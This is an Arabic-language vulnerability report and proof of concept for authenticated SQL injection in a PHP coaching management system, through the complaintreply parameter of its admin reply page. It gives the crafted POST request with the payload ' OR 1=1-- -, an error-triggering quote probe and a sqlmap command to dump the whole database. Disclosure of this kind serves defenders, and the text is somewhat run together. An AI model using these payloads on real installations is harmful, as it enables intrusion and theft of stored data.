
إثبات مفهوم لثغرة حقن SQL مصادق عليها في نظام إدارة التدريب، يوضح تفريغ قاعدة البيانات عبر معامل complaintreply غير المعقّم.
توجد ثغرة حقن SQL في نظام إدارة التدريب المكتوب بلغة PHP. معامل complaintreply في وظيفة رد المسؤول لا يتم تنظيفه بشكل صحيح قبل استخدامه في استعلامات SQL. يمكن لمهاجم مُصادق (مسؤول) حقن استعلامات SQL خبيثة، مما يؤدي إلى استخراج قاعدة البيانات بالكامل.
/cims/modules/admin/reply.phpcomplaintreplycode-projects.org
نظام إدارة التدريب في PHP https://code-projects.org/coaching-management-system-in-php-with-source-code/
غير معروف (تم اختباره على أحدث إصدار متاح اعتبارًا من أبريل 2026)
يقدم الطالب شكوى 
يفتح المسؤول الشكوى ويصل إلى ميزة الرد
POST /cims/modules/admin/reply.php?complaintid=18 HTTP/1.1 Host: 192.168.0.9 Content-Type: application/x-www-form-urlencoded
complaintreply=' OR 1=1-- -&submit=submit

اعتراض الطلب عبر Burp Suite 
حقن الحمولة:
'

تم ملاحظة خطأ SQL
7. تأكيد الحقن:
' OR 1=1-- -

تفريغ قاعدة البيانات باستخدام:
sqlmap -r sqli.txt --dump

الخطورة: حرجة